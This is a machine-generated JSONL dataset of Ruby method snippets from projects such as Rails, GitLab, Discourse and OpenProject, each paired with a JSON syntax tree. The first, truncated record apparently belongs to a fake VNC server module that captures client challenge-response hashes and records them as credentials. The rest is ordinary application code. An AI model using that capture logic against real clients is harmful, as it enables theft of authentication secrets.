type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"chall\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Challenge: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@challenge\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"; Response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"chall\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"vnc_client\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"hash_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"hash_line\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"003.007\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - sectype not offered! \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"close\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"chall\"]},{\"type\":\"ivar\",\"children\":[\"@challenge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"chall\"]}]}]}]},null]}]}]}]}]}","id":"c889c0f7-06ad-4220-b8b0-18d618646403"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/base/tags.rb","start_line":41,"raw_source":"def transform_row(row)\n      cleaned_name = DiscourseTagging.clean_tag(row[:name])\n      name_lower = cleaned_name.downcase\n      existing_id = row[:id] = @existing_tag_by_name[name_lower]\n\n      return nil if existing_id\n\n      if !existing_id && RESERVED_TAGS.include?(name_lower)\n        puts \"    Tag '#{cleaned_name}' is reserved\"\n\n        return nil\n      end\n\n      row[:name] = cleaned_name\n      row[:description] = sanitize_field(row[:description])[0...MAX_DESCRIPTION_LENGTH] if row[\n        :description\n      ]\n\n      return nil if apply_transforms(row).nil?\n\n      super\n    end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cleaned_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"clean_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]},\"downcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_tag_by_name\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name_lower\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_id\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_id\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RESERVED_TAGS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name_lower\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    Tag '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]}]},{\"type\":\"str\",\"children\":[\"' is reserved\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sanitize_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"MAX_DESCRIPTION_LENGTH\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_transforms\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"403a62a3-017e-4691-8ad5-e13724b71b9e"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/stripe/client.rb","start_line":22,"raw_source":"def discover(_connection_config = nil)\n            catalog = build_catalog(load_catalog)\n            catalog.to_multiwoven_message\n          rescue StandardError => e\n            handle_exception(e, {\n                               context: \"STRIPE:CRM:DISCOVER:EXCEPTION\",\n                               type: \"error\"\n                             })\n          end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_connection_config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[null,\"build_catalog\",{\"type\":\"send\",\"children\":[null,\"load_catalog\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"STRIPE:CRM:DISCOVER:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"4cc22193-0118-418d-85a8-763d23eb3b90"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/local_client.rb","start_line":109,"raw_source":"def client_version_string\n          v = client_version || \"Unknown version\"\n          v.is_a?(Array) ? v.join(\".\") : v.to_s\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"client_version_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client_version\"]},{\"type\":\"str\",\"children\":[\"Unknown version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]}]}","id":"c68076f3-614e-4318-be3e-14a0fc5c374e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/accessibility_reports_comparer.rb","start_line":16,"raw_source":"def existing_errors\n          strong_memoize(:existing_errors) do\n            base_report.all_errors & head_report.all_errors\n          end\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"existing_errors\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_report\"]},\"all_errors\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_report\"]},\"all_errors\"]}]}]}]}","id":"1d0162fc-d0e8-457b-9245-ccae42cb7036"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/badges_controller.rb","start_line":5,"raw_source":"def index\n      badges = Badge.order(created_at: :desc).page(params[:page]).per(50)\n      render json: badges\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"badges\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"badges\"]}]}]}]}]}]}","id":"c560f75b-982f-4d96-a94f-b5454d0470ee"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/assertions/routing.rb","start_line":22,"raw_source":"def with_routing(&block)\n            old_routes = nil\n            old_routes_call_method = nil\n            old_integration_session = nil\n\n            setup do\n              old_routes = initialize_lazy_routes(app.routes)\n              old_routes_call_method = old_routes.method(:call)\n              old_integration_session = integration_session\n              create_routes(&block)\n            end\n\n            teardown do\n              reset_routes(old_routes, old_routes_call_method, old_integration_session)\n            end\n          end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"with_routing\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_routes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"old_routes_call_method\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"old_integration_session\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_routes\",{\"type\":\"send\",\"children\":[null,\"initialize_lazy_routes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"routes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_routes_call_method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_routes\"]},\"method\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_integration_session\",{\"type\":\"send\",\"children\":[null,\"integration_session\"]}]},{\"type\":\"send\",\"children\":[null,\"create_routes\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"teardown\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"reset_routes\",{\"type\":\"lvar\",\"children\":[\"old_routes\"]},{\"type\":\"lvar\",\"children\":[\"old_routes_call_method\"]},{\"type\":\"lvar\",\"children\":[\"old_integration_session\"]}]}]}]}]}","id":"b06900fb-fb5f-4ed8-9d43-720d7c9ca276"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/models/openid_connect/provider.rb","start_line":121,"raw_source":"def entra_id?\n      oidc_provider == \"microsoft_entra\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"entra_id?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_provider\"]},\"==\",{\"type\":\"str\",\"children\":[\"microsoft_entra\"]}]}]}","id":"f3fb474e-8826-4151-9807-c93dd68896bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/terraform/state_uploader.rb","start_line":33,"raw_source":"def store_dir\n      # This check is required to maintain backwards compatibility with\n      # states that were created prior to versioning being supported.\n      # This can be removed in 14.0 when support for these states is dropped.\n      # See https://gitlab.com/gitlab-org/gitlab/-/issues/258960\n      if terraform_state.versioning_enabled?\n        Gitlab::HashedPath.new(model.uuid, root_hash: project_id)\n      else\n        project_id.to_s\n      end\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"store_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"terraform_state\"]},\"versioning_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HashedPath\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_hash\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},\"to_s\"]}]}]}","id":"8b5918d4-85b6-419c-99c9-8c6697a97f3c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":197,"raw_source":"def test_cache_is_applied_when_config_is_nil\n    ActiveRecord::Base.connected_to(role: :reading) do\n      db_config = ActiveRecord::Base.configurations.configs_for(env_name: \"arunit\", name: \"primary\")\n      ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(query_cache: nil))\n    end\n\n    mw = middleware do |env|\n      ActiveRecord::Base.connected_to(role: :reading) do\n        assert_cache :clean\n        assert_equal ActiveRecord::ConnectionAdapters::QueryCache::DEFAULT_SIZE, ActiveRecord::Base.lease_connection.pool.query_cache.instance_variable_get(:@max_size)\n      end\n    end\n\n    mw.call({})\n  ensure\n    clean_up_connection_handler\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_is_applied_when_config_is_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"reading\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"arunit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"configuration_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_cache\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middleware\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"reading\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_cache\",{\"type\":\"sym\",\"children\":[\"clean\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"QueryCache\"]},\"DEFAULT_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"pool\"]},\"query_cache\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@max_size\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"clean_up_connection_handler\"]}]}]}","id":"3c475f81-62a4-419a-a56d-09bd68b1e5d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/coverage_report_generator.rb","start_line":13,"raw_source":"def report\n          coverage_report = Gitlab::Ci::Reports::CoverageReport.new\n\n          # Return an empty report if the pipeline is a child pipeline.\n          # Since the coverage report is used in a merge request report,\n          # we are only interested in the coverage report from the root pipeline.\n          return coverage_report if @pipeline.child?\n\n          return coverage_report if merge_request_file_paths.empty?\n\n          coverage_report.tap do |coverage_report|\n            report_builds.find_each do |build|\n              build.each_report(::Ci::JobArtifact.file_types_for_report(:coverage)) do |file_type, blob|\n                Gitlab::Ci::Parsers.fabricate!(file_type).parse!(\n                  blob,\n                  coverage_report,\n                  project_path: @pipeline.project.full_path,\n                  worktree_paths: @pipeline.all_worktree_paths,\n                  merge_request_paths: merge_request_file_paths,\n                  project: @pipeline.project\n                )\n              end\n            end\n          end\n        end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coverage_report\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Reports\"]},\"CoverageReport\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"child?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coverage_report\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_file_paths\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coverage_report\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coverage_report\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coverage_report\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_builds\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"each_report\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobArtifact\"]},\"file_types_for_report\",{\"type\":\"sym\",\"children\":[\"coverage\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_type\"]},{\"type\":\"arg\",\"children\":[\"blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Parsers\"]},\"fabricate!\",{\"type\":\"lvar\",\"children\":[\"file_type\"]}]},\"parse!\",{\"type\":\"lvar\",\"children\":[\"blob\"]},{\"type\":\"lvar\",\"children\":[\"coverage_report\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worktree_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"all_worktree_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_paths\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_file_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"project\"]}]}]}]}]}]}]}]}]}","id":"3e2ccb90-ce27-4e1e-b0e2-6a6529831d17"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/generated_attribute.rb","start_line":36,"raw_source":"def parse(column_definition)\n          name, type, index_type = column_definition.split(\":\")\n\n          # if user provided \"name:index\" instead of \"name:string:index\"\n          # type should be set blank so GeneratedAttribute's constructor\n          # could set it to :string\n          index_type, type = type, nil if valid_index_type?(type)\n\n          type, attr_options = *parse_type_and_options(type)\n          type = type.to_sym if type\n\n          if dangerous_name?(name)\n            raise Error, \"Could not generate field '#{name}', as it is already defined by Active Record.\"\n          end\n\n          if type && !valid_type?(type)\n            raise Error, \"Could not generate field '#{name}' with unknown type '#{type}'.\"\n          end\n\n          if index_type && !valid_index_type?(index_type)\n            raise Error, \"Could not generate field '#{name}' with unknown index '#{index_type}'.\"\n          end\n\n          if type && reference?(type)\n            if UNIQ_INDEX_OPTIONS.include?(index_type)\n              attr_options[:index] = { unique: true }\n            end\n          end\n\n          new(name, type, index_type, attr_options)\n        